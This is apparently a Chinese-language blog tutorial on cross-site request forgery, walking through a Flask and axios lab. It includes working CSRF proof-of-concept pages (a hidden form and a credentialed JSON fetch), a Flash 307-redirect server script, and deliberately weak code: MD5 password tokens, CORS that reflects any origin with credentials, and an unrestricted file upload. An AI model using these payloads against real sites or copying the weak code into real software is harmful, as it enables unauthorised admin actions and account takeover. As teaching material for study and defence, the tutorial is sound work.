想必大家对CSRF并不陌生,英文全名叫Cross-site request forgery,翻译过来就是跨站点请求伪造。简单的理解就是从B站点来请求A站点的某个动作。
这里最最关键的因素是令牌。用户在A站点登陆成功后,服务端颁发令牌并存储到浏览器中。客户端存储令牌方式主要2种:Cookie、localstorage
只有令牌存储在Cookie中才能利用CSRF,至于为什么到后面再讲。
首先我先演示一下第一种场景:MVC架构,站点:api.hack.me
Controller层代码如下
@app.route('/login_cookie_form',methods=["POST","GET"])
def login_cookie_form():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get('password')
print(username,password)
token = hashlib.new('md5', password.encode('utf-8')).hexdigest()
try:
res = make_response('set-cookie')
res.set_cookie("user",token,samesite=None,secure=True)
return res
except Exception as e:
print(e)
return render_template('login_cookie.html')
View层代码如下
<html>
<head>
<title>Login Form</title>
<form action="/login_cookie_form" method="post">
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<button type="submit">点击登陆</button>
</form>
</head>
</html>
登陆成功后, 服务端给客户端颁发令牌,存储到浏览器Cookie中,Domain为api.hack.me
可以看到添加成功了,那么接下来可以实施CSRF攻击了
这里攻击者构造了一个页面 http://attack.me/fake_add_user_form
页面内容如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://api.hack.me/admin/add_user_form" method="POST">
<input type="hidden" name="username" value="helloworld" />
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="role" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
这里注意关键点,Origin:http://attack.me和Cookie。
由http://attack.me 向 http://api.hack.me/admin/add_user_form发起一个请求,请求会自动携带上api.hack.me的Cookie
这里的根本原因是form方式不受同源策略的限制,所以可以跨域成功请求。
然而,MVC模式已经逐渐被前后端分离模式取代,而前后端分离提交数据的方式以JSON方式为主。
接下来演示一下前后端分离模式,前端:hack.me, 后端api.hack.me
说到前后端分离,不得不说一下令牌的存储方式。第一种存储到客户端的Cookie中,第二中存储到LocalStorage中。存储到Cookie中大部分是基于浏览器作为客户端的业务,存储到LocalStorage大部分是基于APP或者小程序内置的LocalStorage。
Cookie和localStorage的区别在于,用户访问同源站点的时候,Cookie会默认携带发送给服务端,而localStorage不会。
简单的说,客户端发送请求的时候,不需在请求中设置Cookie,请求过程会自动从客户端Cookie中获取。而令牌存储在localStorage中,客户端需要先从localstorage中获取令牌,并添加到请求头中。
axios({
url:"http://api.hack.me/admin/add_user_json",
method:'post',
data: {"username":"minzhizhou","password":"123456","role":1},
headers:{'token':localStorage.getItem('token')}
})
CSRF漏洞正是利用了Cookie的这一特性。
我们来看下前端以Json方式提交数据,并且通过Cookie传递令牌
前端先请求登陆接口,这里需要设置withCredentials=true,允许携带认证信息(Cookie、Authorazation)之类的
import axios from 'axios'
axios.defaults.withCredentials=true
login_cookie(){
axios({
url:"http://api.hack.me/login_cookie",
method: 'post',
data: {
username: this.username,
password: this.password,
},
})
后端获取进行身份验证,生成令牌并通过set-cookie响应给浏览器,浏览器存储Cookie
@app.route('/login_cookie',methods=["POST","GET"])
def login_cookie():
if request.method == "POST":
data = request.json
username = data.get("username")
password = data.get('password')
token = hashlib.new('md5', password.encode('utf-8')).hexdigest()
try:
res = make_response('set-cookie')
res.set_cookie("user",token)
return res
except Exception as e:
print(e)
前端登陆选择Cookie登陆
这里提示CORS MIssing Allow Origin,这是因为浏览器同源策略机制。跨域请求中,分为简单请求和复杂请求,还不了解的兄弟可以看一下跨域之cors--简单请求、复杂请求_七彩冰淇淋与藕汤的博客-CSDN博客_cors 简单请求
大部分前后端分离的项目,前端都是发起复杂请求的。Content-Type:application/json,或者有自定义的Header头都属于复杂请求。
同源策略要求复杂请求必须先进行预检(OPTIONS)请求,预检通过了才能进行POST请求。
预检请求会询问服务端:允许的请求源,是否允许携带Cookie,允许的请求方式(POST、PUT、DELETE等),允许的Header头字段
可以通过Nginx设置,也可以通过服务端程序设置。
add_header 'Access-Control-Allow-Origin' '*' always;
add_header 'Access-Control-Allow-Methods' '*';
add_header 'Access-Control-Allow-Credentials' 'true';
add_header 'Access-Control-Allow-Headers' '*';
可以看到Nginx设置已经生效,但这里还是预检不通过。firefox提示:CORS No Allow Credentials,这里提示的还不够详细。就简单的告诉你cors不允许携带认证信息。
chrome就比较人性化了,告诉你预检不通过的原因,并建议你怎么做。意思就是当后端允许credentails的时候,不允许allow-origin设置成*
所以Nginx里改下设置
add_header 'Access-Control-Allow-Origin' $http_origin;
我前端重新发起请求,再次预检失败。这次的提示是后端不允许content-type的请求头。我上面已经在nginx中设置了add_header 'Access-Control-Allow-Headers' '*',按道理来说是允许全部的请求头的,估计是这里的*不包含content-type吧。
add_header 'Access-Control-Allow-Headers' '*,content-type'
这下终于预检通过了,并且后端将cookie响应给了浏览器。
我们先来试一下添加用户的功能
前端发起请求
import axios from 'axios'
axios.defaults.withCredentials=true
axios({
url:"http://api.hack.me/admin/add_user_json",
method:'post',
data: {"username":"minzhizhou","password":"123456","role":1},
})
后端接收请求信息并处理
@app.route('/admin/add_user_json',methods=["POST"])
@cookie_logined
def add_user():
data = request.json
username = data.get('username')
password = data.get('password')
role = data.get('role')
try:
user = User(username=username,password=password,role=role)
db.session.add(user)
db.session.commit()
return {"msg":"success"}
except Exception as e:
print(e)
可以看到,前端跨域请求后端添加用户的接口,成功添加用户
接下来试试能不能CSRF攻击:http://attack.me/csrf_json
<html>
<title>CSRF Exploit POC by RootSploit</title>
<body>
<script>
function JSON_CSRF() {
fetch('http://api.hack.me/admin/add_user_json', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: '{"username":"asdsa1d","password":"1231456","role":1}' });
}
</script>
<button onclick="JSON_CSRF()">Exploit CSRF</button>
</body>
</html>
可以看到,虽然预检通过了,但是POST请求中并没有携带Cookie,这其实是Cookie的作用域机制。在api.hack.me获取cookie后,用户请求hack.me下的其他子域名都会携带这个cookie
attack.me和hack.me不是同个域名, 所以当然就无法获取hack.me的cookie了。为了验证猜想,我将attack.me改成attack.hack.me
可以看到,源http://attack.hack.me携带了Cookie,请求api.hack.me/admin/add_user_json,添加用户成功。
最后总结一下,存在CSRF漏洞几种情况
第一种
前后端不分离模式,提交数据用form方式,表单页面没有CSRF_TOKEN
第二种
前后端分离模式,提交数据为json格式,但是后端不强行校验Content-type: application/json,比如下面这种情况
第三种
前后端分离模式,后端强行校验content-type: application/json, 且通过Cookie方式进行身份认证。这种情况利用CSRF,必须将攻击代码部署或上传到目标站点所在的任一子域名下。
这个一般和文件上传漏洞结合利用。
比如attack.hack.me有个上传功能未做限制,可以上传html和js文件。
@app.route('/upload',methods=['GET','POST'])
def upload():
if request.method == 'POST':
f =request.files['file']
file_name = datetime.now().strftime('%Y%m%d%H%M%S%f')
suffix = f.filename.rsplit('.',1)[1]
new_file_name = file_name+'.'+suffix
f.save(os.path.join(app.config['UPLOAD_FOLDER'],new_file_name))
filename_url = app.config['UPLOAD_FOLDER']+ new_file_name
return {"code":200,"data":{"file":filename_url}}
else:
return render_template('upload.html')
针对第三种情况,看网上说还有一种方法,利用swf将数据通过json方式转发给attack.com/csrf_hack, 然后csrf_hack 307携带数据重定向到目标请求。
首先编写恶意的as文件,然后用adobe flex编译成swf,然后部署到一台公网的服务器上。
利用脚本:https://github.com/appsecco/json-flash-csrf-poc
HOST = ''
PORT = 9090
class RedirectHandler(BaseHTTPRequestHandler):
def do_POST(s):
# dir(s)
if s.path == '/csrf.swf':
s.send_response(200)
s.send_header("Content-Type","application/x-shockwave-flash")
s.end_headers()
s.wfile.write(open("csrf.swf", "rb").read())
return
s.send_response(307)
s.send_header("Location", "https://api.itner.net/admin/add_user_json")
s.end_headers()
def do_GET(s):
print(s.path)
s.do_POST()
这里确实是做了307跳转了,但是跳转之后为啥是GET请求?307跳转默认是GET请求吗?有大佬知道的麻烦解释一下。
最后,我把靶场部署在了云上,前端https://itner.net, 后端https://api.itner.net,上传功能在https://attack.itner.net,想练手的小伙伴可以直接上手测试。